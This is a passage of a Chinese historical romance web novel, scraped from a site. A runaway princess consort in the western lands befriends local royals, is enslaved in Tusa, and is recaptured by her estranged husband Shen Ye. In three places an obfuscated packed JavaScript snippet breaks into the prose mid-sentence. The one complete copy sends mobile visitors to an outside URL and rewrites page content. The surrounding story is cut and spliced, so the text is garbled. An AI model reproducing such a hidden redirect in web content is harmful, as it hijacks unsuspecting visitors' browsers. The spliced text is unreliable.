许是从小见惯野兽,康米娜比我镇定许多,待到野狼扑上来时,她立刻拿柴火打了上去,野狼一撮毛着了火在地上打滚,反把她逗笑了。 康米娜兴奋道:“是不是和狗差不多…” 这群狼足有七八只,康英在前保护我们,一有野狼扑来他就挥刀斩杀,可双拳难敌四手,有两只狼绕后扑到我俩面前,野狼的喘息声近在迟尺,口涎四溢。 我何曾见过这场面,站在原地动也不敢动,康米娜反应奇快护在我身前,在野狼扑过来的瞬间从靴子里拔出短刀狠狠刺了过去,我见状忙学着她的样子用柴火打过去,僵持小半个时辰后,野狼死伤过半,夹着尾巴溜走了。 康英捡了块石头扔过去,骂道:“这群畜生…” 生死搏斗后轻松下来,三人皆脱力坐在地上,好在并没有人受伤,只是衣裳破损。 回想方才他们兄妹的英勇,我不由打量他俩,恰巧对上他俩的眼神,彼此看着对方狼狈的模样,皆会心朗声大笑。 经此一事,便都是过命的交情了。 等到第二日回了茶馆,李长季已经在茶馆等着我了。 康米娜还等着听我的故事,看见李长季后一副恍然大悟的样子,傻呵呵的笑着走了。 我知道她误会了我和李长季的关系。 但是无所谓。 李长季带来了上京的消息。 我走后上京骚乱了一阵,明面是为了加强京中防卫,实际上是在找我。 李长季道:“你那位王爷找了你两个月,最后只能对外声称王妃病逝,他亲自扶棺为你披麻戴孝,街上没有人不夸他重情。” 他居然会亲自扶棺。 我无论如何也没想到他会这么屈尊纡贵。 沈业讨厌我到了极点,见我十次八次都要和我吵。 当然我也讨厌他,他每次跟我吵完架都像只炸毛的斗鸡,脸红脖子粗的。 “宋家呢?”我问他,“我父亲有没有难过?” 李长季的脸色比提起沈业时还难看,他只说了短短一句话:“你父亲去吊唁过。” 我喝了口凉津津的井水默不作声。 李长季知道我难过,他搂过我让我靠在他肩上,起先我还能装作若无其事不在乎的样子,可还没过一会我就忍不住了,眼泪哗哗往外流,哭得身体一抖一抖的。 我的丈夫不爱我,我的父亲也不爱我。 胸口胃里传来一阵阵绞痛,疼得我都要喘不过气,每次和沈业吵完架难过得抱着被子哭的时候,就是这种感觉。 李长季怕我想不开,特意留在这儿陪了我几天。 他来了整日无聊,四处找不同的葡萄吃,吃不完还要带回来许多让我吃,吃得我胃里直泛酸水。 我怕被葡萄撑死,提出带他去西境各地走走。 李长季很痛快地答应了,并大方的提出这次出游所有的开销他来付钱。 我们俩骑着马沿着西凉王城一路向西而行,穿过漫漫古道和一片片的胡杨林,西凉的秋季比中原来得早一些,杨树的叶子已经开始发黄,风吹过树叶发出哗啦哗啦的声音,就像小时候隔壁奶奶给我做的纸风车被风吹起一样,好听极了。 我解下纱巾抓在手里乱挥着,我见过西凉人围着火堆跳舞,他们的手也是这样左右摆动,很有气势。 我兴奋地大喊着,这种自由的感觉让我很为之着迷,李长季朗声问我:“出来玩高兴吗?” “高兴啊…”我回头看他,“你呢?” 李长季笑意更浓:“你高兴我就高兴。” 小时候他总这么跟我说,他说五娘笑得样子真好看,看到我笑他也觉得开心。 一连走了七八天都没什么事,我们经过了西凉许多村落,这些村落如同散落在棋盘上的棋子,大都逐水而居。 可就在第九天的时候,我俩刚翻过一座小山丘,对面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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最近一个叫土萨的小国换了国主,新国主不是父死子继来的,而是先国主的弟弟趁他病弱,举兵造反杀死本来要继位的大王子,成了新的国主。 新国主上位后有意扩张领土,不时派人在边境骚扰其他小国,回赫国主不得不让人时常巡防边境,以防不虞。 领队抹了把脸上的汗,看了我和李长季一眼,望着远处的沙漠道:“你们这两个中原人也太胆大了,还是赶紧回西凉去吧,顺便代我向四王子问个好,说阿尔汗问候他。” 我惊讶地嘴都快合不拢了,目瞪口呆问他:“你怎么知道我认识康英?” 阿尔汗人高马大,比李长季还高了两个头出来,站我面前如同一堵墙,看我吃惊的样子哈哈大笑,跟我说:“你腰上的令牌是西凉四王子的,上面刻着一只苍鹰,我和四王子见过几次面有些交情,认得出来。不然你以为我们为什么会救中原人,要知道,有时候中原人也是我们的敌人。” 他说的其实没什么不妥,中原西境刚和平共处了三四年未起争端,早些年大大小小的战事都是不断的。 而我腰带上挂的令牌,是那天从沙漠回来之后,康米娜送给我的,她跟我说有这块令牌,以后有事就可以去王宫找她,宫门口的侍卫不会为难我。 没想到在这儿就派上了用场。 我和李长季正要告别阿尔汗继续前行,他拦住我们提醒道:“别再往前面去了,过了我们回赫地界就是土萨了,这些日子不安稳,你们俩还是快点回去吧。” 李长季周游西境的梦想就此破灭,他有些失望,可他也知道前路充斥着危险,于是欣然接受了阿尔汗的建议,和我一道折返回去。 我不想让他太失望,于是顺着回赫地界往西凉走去,我们见过阿尔汗,回赫的人不会把我们怎么样。 回到西凉的时候天气已经逐渐变凉,沙漠的沙子在太阳底下晒一天也不会很烫,胡杨林开始褪掉墨绿色,直奔秋天而去。 我还记得阿尔汗的嘱托,专程去王宫找康米娜,门口的侍卫还想阻拦我,可当他们看到我手里的令牌时立刻对我恭敬了起来,让人进去传话。 过了一会传话的人回来,说七公主请我进去。 4. 第 4 章 西凉王宫和大周皇宫大相径庭,其穹顶多为半圆形,用琉璃瓦片覆盖,上面贴着大量的黄金制成的吉祥图纹,镶嵌着红如石榴籽的玛瑙,多得数不胜数。 康米娜的寝殿这般好看,和王府很多东西都不一样。 就像玛瑙,从前的我也只有一盒玛瑙串,有好东西沈业从来都不会给我,而西凉人居然可以用玛瑙来镶嵌房顶。 我狠狠地夸了一番她的寝殿,用了我能想到的所有好词来形容这座富丽堂皇的宫殿,康米娜一脸骄傲得意:“我是父王最小的女儿,他最疼的就是我了。” 她无疑是在宠爱里长大的,拥有着大多数人都没有的东西,还有父亲的爱。 我坐在她对面,把遇到阿尔汗的事说给她听,让她一定记着转告给她四哥康英。 康米娜歪着脑袋听我的话,得知我是为了这个事来找她的,露出不可置信和疑惑的表情:“你既然是传话给我四哥,那直接找他就行啊干嘛还要专门来找我呢?” 她说的很有道理。 我正塞了两颗比蜜糖还甜的葡萄在嘴里,这葡萄不错,肉厚多汁还没有核。 一边吃葡萄一边想该怎么给她解释。 “我怕被人看见,误会我跟你四哥的关系,说出什么闲话来,你是他妹妹,由你转达最合适不过。” 我觉得这么说她总该明白了。 可她嗐的一声,完全不把我说的话当回事:“这有什么,你找他本来就是有事要办。再说了你要当真和我四哥有什么,也没人会说三道四的。我们西凉人从来不在意这些,喜欢就在一起,不喜欢就分开,一男一女同处一室算不得什么大事。” 康米娜说得坦然,才让我想起这是西凉不是中原,民风淳朴没有那么多的繁文缛节,男女之间不会有授受不亲一说。 我记得有一次宫中饮宴,我坐在沈业身边兴致勃勃看胡旋舞,跳舞的皆是男子,长得很是清秀俊俏。我不过是盯着其中一个多看几眼看得时间久了些,回去沈业就和我吵架,说我不守妇道嫁人了还盯着别的男人看。 她说完就让人去叫康英过来,然后从一个红柳枝编的篮子里拿出九连环和几副七巧板来。 “你们也玩这个?”我问她。 她点点头,说这是前几个月从中原商人那里买过来的,她始终不得其法,很是兴奋地让我帮她解开。 我在王府闲着没事干的时候总玩这些小东西,解开它简直易如反掌,可康米娜让我教她,我只能做一个步骤停一下,指导她做完再开始下一步。 九连环还没有完全解开的时候,康英就来了。 不过他没有打断我们,反而很有耐心地坐在我身边,看我教康米娜解九连环。 九连环环环相扣,看似复杂其实只要掌握要领就能很轻松的解开。 康米娜解开后高兴地手舞足蹈,兴冲冲显摆给康英看,骄傲之意溢于言表。 到底是比我小,还跟孩子似的。 于是我又在众目睽睽之下把九连环拼了回去。 “啊…这还能拼回去啊?”她瞪大了眼睛看我手上的动作,满是疑惑。 我很满意她的反应。 我说:“如果不能拼回去的话,多少个九连环都不够玩的。” 康英煞有其事的拿起来看了看,问道:“你们俩叫我来是有事吗?” 我点点头,把遇到阿尔汗的事情告诉了他:“阿尔汗让我代他向你问好。” 康英道:“前些年我跟着父王去边境,机缘巧合下救了他一次,又帮了他几个小忙,一来一去就认识了。” 我笑道:“四王子是热心肠,阿尔汗又知恩图报,倒是便宜了我,白占了这个人情。” 他俩都笑了起来。 我们又说了很多话,包括李长季。 康米娜以为我和沈业和离后要和李长季在一起,她觉得李长季看我的眼神很不一般,眼里仿佛有秋水,我在心底偷偷笑了一下,她一个西凉人,居然还知道暗送秋波这个词。 听到康米娜说这句话的时候,康英的眼神瞥向了别处,很不自然的眨了眨。 我从没对李长季产生过那种念头,他对于我来说就像亲人,除了阿娘只有他对我好,是我在乡下和王府枯燥无味生活里的一抹亮色。 李长季心疼我的遭遇和处境,总是尽自己最大的能力护着我。 我不知道是不是因为我救过他的命,才让他这么死心塌地对我。 我信誓旦旦地说:“我们俩是彼此最好的朋友。” 哪怕在旁人眼里,我们之间的情谊并不单纯,可我和他都知道,除了彼此,这世上再没有值得让我们豁出一切的人。 康米娜狡黠地看着我:“那现在我们也是朋友了!” 我几乎要憋不住笑,一本正经答应她:“是。” 从王宫出来,李长季远远的等着我,他见到我的第一句话就是让我不要走得那么端庄。 “你瞧瞧你这规矩做派,明眼人都看得出来你不是普通人。”他斜睨我一眼淡淡笑着,“这是西凉,不是皇宫,你用不着守规矩。” 我的规矩是进王府之后学的,王妃要时常进宫见皇后太后,不能散漫失礼。我勤勤恳恳地学着各种礼仪,进宫的时候几乎不会给沈业丢人。 一进宫城,这几乎成了我身体的条件反射,如何低头用莲步走路,如何使头上的步摇不会大幅度摆动以免打到脸,如何行礼问安… 那时候我还有点喜欢沈业,我试图表现得好一点让他也喜欢我。 李长季这么一说,我立刻松懈下来,变成了幼时在乡下自由散漫没有拘束的样子。 他从怀里掏出一个手帕来,里面是一包晒得金黄的酸杏干,这是我小时候最爱吃的东西。 我俩一起回了我的小茶馆,好几天没开门许多地方都积了一层灰,他还没来得及休息就打了几桶井水和我一起擦桌椅。 西凉风沙比中原大多了,我被桌上激起得尘土呛得直咳嗽,空气中弥漫了太多灰尘,熏得我十分难受。 “我都不知道你这一个多月是怎么活下来的。”李长季接过我手里的湿抹布,让我坐在旁边休息。 这里没几个人用鸡毛掸子,掸起的尘土落下去还是会积在桌子上。 倒是我小时候闯祸,我娘会拿着鸡毛掸子打我,追着我满院子跑。 他宠着我,我也没那么娇气。 在井边打了几桶水之后,他终于把里里外外都擦干净了。 然后他跟我说十几天后他要回中原去。 他说完我就难过了起来。 鼻子酸酸地只想哭。 我刚来西凉那会他走的时候我也没这么难受,可能是一个人孤独的日子太久,骤然见了亲人终于热闹了几天,他又要走了。 我一哭他立马就心软了,一只手揽过我让我靠在他肩上,轻声哄着我:“五娘,等过年我就来看你。” 其实我哭完也就没什么,憋屈的事太多总需要个借口来发泄发泄,压在心里的滋味很不好受。 他走的前一晚我们坐在房顶上看星星,周围没有一丝火光,点点星子清楚极了。我看到了北斗七星,看到了发光的银河如同一条蚕丝织成的长巾,轻盈地飘在空中。 夜晚的凉风钻进了我的衣领,带着湿蒙蒙的露水贴上脖颈凉丝丝的,我听见远处杨树被风处起的哗啦声,秋季杨树的叶子发黄变暗,常常顺着风的方向飘飘忽忽打了个圈落下,悠闲地躺在地上。 李长季手里是瓶葡萄陈酿,他一口一口喝着,好像有什么心事。 李长季问我:“五娘,你有没有后悔过离开他?” “沈业?”我反问。 “不然还能是谁。” 我不知道我决意要离开沈业算不算一时冲动,我受不了他经常和我吵架,受不了他不分好赖冤枉我,受不了他和侧妃有孩子。 我计划很久逃跑的事一直没有实施,那天被他一气,鬼迷心窍就走了。 “他都有孩子啦…”我装作不在乎的样子,“我还在他跟前碍眼干嘛,再说他又不喜欢我。” 借着朦胧的月光,我看清李长季忧郁的脸,他带着些许无奈和同情,静静地看着我。 他经常用这种眼神看我,尤其是我得知要嫁给沈业,去找他把这件事告诉他之后。 其实我当时挺高兴的,听嫡姐说王府里什么都好,吃得好穿得好,冬天不会再受冻,也有人伺候。 可李长季并不高兴。 他自顾自说了一堆我听不明白的话,他说王府没我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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气氛有短暂地凝滞,李长季默不作声,我只觉尴尬极了,暗暗骂自己胡说八道什么,李长季这么生气,肯定是我的话让他感到冒犯。 我正想跟他说对不起,他却笑着揉揉我的头发:“傻丫头胡说八道,我们是兄妹是亲人,你在我心里不就应该比别人都好吗。” 他还对我笑应当是没有生气,我也跟着他笑:“兄妹。” 我忽然想到李长季今年二十三岁还没有家室,便好奇道:“你怎么还不成亲啊?” 这个问题显然在他意料之外,他怔了怔喝下一口酒,对我道:“和谁成亲?” “跟喜欢你的人啊。” “没人喜欢我。” “我不信。”我说,“你替你父亲照顾他的下属遗孤,他们家里没有和你差不多大的女孩子吗,还有你这些年在外就没认识个红颜知己什么的。” 李长季淡淡道:“没有。” “你长得这么好看,怎么会没人喜欢你…” “好看有什么用。”他声音有点冷,“我是罪臣之后朝不保夕,说不定哪天被人告发命都没了,谁家敢把女儿嫁给我。” 我自知戳到他痛处,闭嘴不再多言,他又主动来找我说话了。 “你在这儿也有些日子了,想过以后怎么办吗?” 我摇头:“像现在这样过下去也挺好,再往后就不知道了。” 他道:“还想过再嫁人吗?” “没想过。”我说,“我在这上头吃过苦,不奢望了,再说现在我也没喜欢的人。” 李长季应了一声,递过葡萄酒给我:“来一口?” 我接过酒小口抿着,许是心里太乱又不知道怎么说,索性把剩下的酒都喝光了。他见我闷闷的,从房顶的瓦片上摸到两块碎石,先后扔在空中,后扔出去的刚好打中之前的石块,相撞之下发出一声脆响,我不由笑出声,他也露出浅浅的笑。 坐着无聊,我把手臂叠在膝上,支着下巴歪头观察李长季,他额前的一绺碎发被风吹起,刚好落在高挺的鼻梁上,他一直在看远处,连头发挡到眼睛都没察觉。 我伸手拨开他额前的头发,他突然低头看向我,对视的瞬间我突然没来由地耳朵发烫,心怦怦地乱跳,赶紧装做什么都没发生过的样子。 晚上的风越来越大越来越冷,我用挡风的披肩披在头上保暖。自从小产后我就有了头疼的毛病,头一受凉就疼得厉害。 我们在屋顶坐了一会瞎扯几句就各自回屋睡觉,临进屋前他叫住我:“西境这段时间不太安定,你要是出去玩不要走太远,没事最好别出去。” 可能是因为土萨边乱的事让他心有余悸,怕我再遇到危险受伤,我认真答应了,他才放心的回屋。 5. 第 5 章 次日天还没亮李长季就悄悄离开茶馆,我去叫他时屋里没人,在桌上发现了他留给我的十五两银子和告别信。 他说怕我送他走的时候再哭哭唧唧,他走得不安心,索性就一个人先出发,让我照顾好自己别逞强好胜,等他过几个月回来看我。 李长季太了解我了,总是都能猜到我的心思。 月末时,冬季的第一场飘飘洒洒落了下来,仅仅一夜雪厚得都可以没过脚脖子,我扫干净茶馆门口和院子的雪,拿油纸封上窗户的缝隙,保温还挡风,我还在院里堆了雪人,用柴火当手臂,圆滚滚地很可爱。 冬季喝热茶最是暖身,因此我的生意总有人光顾。 而附近人都知道我是康米娜的朋友,再不会有人因为我是中原女子来找我麻烦。 傍晚我用棉布包了茶壶去一家牛肉铺子送茶,吃牛肉锅子的人有的嫌肉膻,从我这儿要清茶去解腻。 风寒雪冷,我坐在炉子旁烤火,老板和我互相照顾生意很是熟悉,他递了块牛肉干给我,这么晚了我回去也是一个人,索性嚼着牛肉干听店里的人说话。 吃饭的商队头子说离王城百里外的雪山上有种雪莲,是极难得的药材,数量稀少价格昂贵,还笑称要是谁能采到雪莲能卖不少钱。 他只是随口一说,我却听在了心里。 能卖不少钱… 我并不缺钱,但也没有阔到可以视金钱如粪土的地步,从王府带出来的钱迟早有花完的一天,我还想多攒点钱和李长季去周游列国。 趁我还年轻,不如多搞点钱。 于是我第二天就出发了,带了一大包肉干和馕饼踏上了去雪山的路。 走到一小半的时候我就后悔了。 天实在太冷,虽然雪停了也出了太阳,可雪地没有那么好走,马不能像在平原上那样奔跑,实在是寸步难行。 偏偏我是不撞南墙不回头的性子,既然都来了,哪能空着手再回去。 这么琢磨着,我又启程了。 谁知这一走,我遇上了更大的麻烦。 我被不知道哪来的人抓起来,和一群中原商人关在一起。 身上的东西也被他们搜刮走得一干二净,饥肠辘辘地困在用木头做成的牢里。 我旁边关着的是商队的当家,他见我是中原人很是好奇,问我怎么会被抓过来,我说我要去采雪莲卖钱。 他听了哈哈大笑仿佛在笑我的愚蠢,他笑了一阵才说:“雪山上根本没有这种东西,都是以讹传讹的,要真有哪还轮得到你…” 我气结,原来那些人只是说大话而已,于是小声问他:“那我们怎么办,会死吗?” 我一问他就笑不出来了,带着一种看淡生死听天由命的豁达说:“谁知道呢…” 我觉得是我想错了,他根本不是豁达,而是无可奈何。 毕竟我们现在就是砧板上的鱼肉,不知道先看见明天的太阳还是先看到阎王爷。 我俩相互交流着被抓的原因,我才知道这是土萨,原来他们是在风雪中迷了路,才走到了土萨境内。而我,根本就不知道去雪山的路上有一半是土萨国境,就呆头呆脑地走了进去。 土萨人才不讲什么礼貌,见他们有钱就抓了过来,还顺带捎带上无辜的我。 我们被关在牢里待了两天,然后被发配去做苦力。 白天给他们喂马喂羊,晚上回牢里睡觉,吃食只有几个干面饼子和冷水。 我真是后悔得想哭,没有听李长季的话好好待着,现在被当成奴隶,动不动还要挨打。 就算李长季想要来救我,他也不知道我在什么地方。 我只能咬着干硬的饼子,混着眼泪咽下去填饱肚子,我还有好多事没做,绝对不能死在这儿。 苦力做了三四天后的晚上,睡梦中听见外面传来一阵骚乱,火光冲天照亮了黑夜,刀剑相接的声音打破了寂静,伴随着厮杀声喊起,整片牢房都精神振奋了起来。 外面是中原兵的声音! 他们说的中原话是这么地熟悉,我们仿佛看到了救星,隔着墙向外张望着。 会不会是安西都护府的人,我猜应该是的,除了都护府的士兵,没人会来管中原人的死活。 这场战斗持续半个多时辰,以中原兵的胜利而结束。 果然是他们。 有人打开关我们的牢房,把我们一个个放了出去。 外面点燃了无数火把,我看到了土萨人的尸体躺在泥泞脏污的雪地上,还有安护府的人在清理着战场。 我混在商队里,等商队的人验明身份说不定会归还他们的货物,还有我那匹枣红色的马。 我听见有人在对不远处的人说些什么,他说完之后就过来放我们走了。 保住性命重获自由,我们都松了一口气,排成小队离开,我默默在心里发誓,以后绝不会一个人出门。 我排在队末,大部分人都带着自己的货物离开,当我经过时,突然有人对我喊道:“站住。” 我下意识的回头去看他,却看到一张刻在我心底永远不会忘记的脸。 我曾经的丈夫沈业,他就站在队伍的最前面,身着金铜盔甲手持长剑,目光如炬凝视于我,身边是他的亲信徐津,刚才喊我的人正是他。 徐津已经认出我,焦急地看了眼沈业等候示下。 意识到大事不妙的我拔腿往外跑去,刚好看到了我的马在商队的货物旁边,翻身上马夹紧马肚子冲出大营。 我不知道沈业为什么会出现在这儿,但绝不能让他抓到我,否则他那么小心眼的人非得杀了我才能泄愤。 身后有马蹄声紧紧跟上来,我只觉得后脑一阵剧痛,就摔下马掉进雪里晕了过去。 醒来的时候我已经在一个温暖的房间里,身上的衣裳柔软而干燥,除了头还是疼几乎没有什么不适的地方。 旁边的侍女见我醒过来,立刻退出门外。 然后,沈业就进来了。 他穿着一身玄色长袍,戴着云纹镂金冠,和从前并无两样。 硬要说有什么区别,大概就是他看我的眼神因为发怒变得更阴沉,脸色也更加难看。 我被他看一眼已经有些害怕,他就站在床前我只能往床角退去,生怕他一怒之下给我一刀。 或许是我对他来说没有半点威胁,他反而优哉游哉地坐在床边,看我惊慌失措。 他缓缓开口:“本王有这么吓人吗,王妃怕成这样?” 我想起他之前下的“格杀勿论”的令,硬着头皮道:“遇上你算我倒霉,要杀要剐随你便。” 虽然嘴上这么说但心里还是怕得很,我拽过被子挡着身体,防备地盯着他。 他没接我的话,从床边的小桌上倒杯热水给我。我好久没吃过热的东西,有热水喝也顾不得烫不烫,一滴都没剩。 沈业又倒了两杯水给我。 或许是我喝水时的滑稽样让他心情好了些,沈业看我的表情变得温柔许多,戏谑道:“离了我你怎么狼狈成这番模样,往日在府里天不怕地不怕的王妃哪去了,还有空给人当奴隶?” 他说话永远这样暗戳戳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499040|170252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地讽刺人。 我不想理他,扭头看向床幔。 我刚转头他就扒开我的衣领,我不由“嘶”地一声捂住脖子,他又挪开了我的手。 他说:“怎么伤成这样?” 我可能是饿过头出现了幻觉,居然从他的语气中听到一丝担心。 土萨人性情残暴,我不过是干活慢了点就被打了两鞭子,一下打在脖子上,一下打在背上。 沈业皱皱眉,让侍女拿治伤的药进来,要给我擦药。 此时此刻他在我眼里就像一只披着羊皮假笑的狼,随时都有可能让我一命呜呼,我只能乖乖伸着脖子让他给我上药,哪怕他说让我把衣裳脱了我都按他说的做。 沈业很君子的没起什么坏心思,只替我擦上药粉就把我的衣裳拉上去盖住脖子。 擦完了药,他似笑非笑地盯着我。 “王妃,你还不打算给我一个解释吗?” 我呼吸一窒,他终于是问出来了。 “在我眼皮子底下跑出上京,还来了西境,李长季真是没少帮你。”沈业拨弄着我的头发,一点点整理好,“还把你帮到土萨的大营。” 我打掉他的手,赌气道:“你别叫我王妃,你的王妃早在半年前已经死了。” 沈业毫不在意我的冷漠,侧过身和我相对而坐,他的神情有些恍惚,盯得我后背不止发疼还发毛。 他说:“你离开王府,是因为喜欢上李长季,想离开上京和他做一对平凡的夫妻?” 我斜了他一眼:“你自己心思龌龊看人也龌龊,我和李长季是朋友是刎颈之交…诶沈业,你知不知道什么叫刎颈之交?” 他脸青一阵白一阵,似乎对我的话很不满意。 我才不管他高不高兴,反正能气到他我高兴就行。 夜已深了,他坐在床边还不走,我好几天没睡好困得要命,推了推他让他出去,示意我累了要休息。 沈业没走,他好像一直在忍着什么,然后他就把我拉到他怀里,紧紧抱住我。 他身上真热啊,好像揣着个小火炉,手臂牢牢箍在我身上压得我喘不过气,我的额头贴着他的脸,他呼出的气喷在我额头上热乎乎的痒,我想伸手去挠,他也不许我动。 我有些不好意思。 从成婚到我单方面宣布和离,我和沈业还没这么亲密地抱过。 他来找我睡觉时都很直接的咬我,每次起床我不是腿疼就是背疼。 所以我一直觉得孟妃好可怜,和男人睡觉明明是件痛苦的事,但她还不能拒绝沈业。 沈业这么温柔地抱我,倒让我有些不知所措。 隔着衣裳,我感受到他的心跳,快得就像打鼓一样。 他的手从我的后背移到了腰上,温热的掌心微微用力,我就和他的身体贴在一起。 沈业刚低下头,他的嘴巴就离我很近了,我以为他要亲我不禁往后躲,可他好像压根没有这个打算,倒是我自作多情。 他叫了我的名字。 他说:“阿言。” 沈业从来都是叫我王妃,尽管我们刚订亲那天他就知道我的名字,但他一次都没叫过我。 他叫孟妃就不这样,她的名字是采瑶,沈业很亲昵地叫她“瑶瑶”。 我的肚子恰到好处地打破尴尬,寂静的房间里传来清晰响亮地咕咕声。 我好几天没吃过饱饭了。 沈业低眉闷闷笑了两声,他让侍女拿来烤羊肉和奶茶还有酥饼,坐在桌前看我狼吞虎咽。 他还算有人性,让我做个饱死鬼。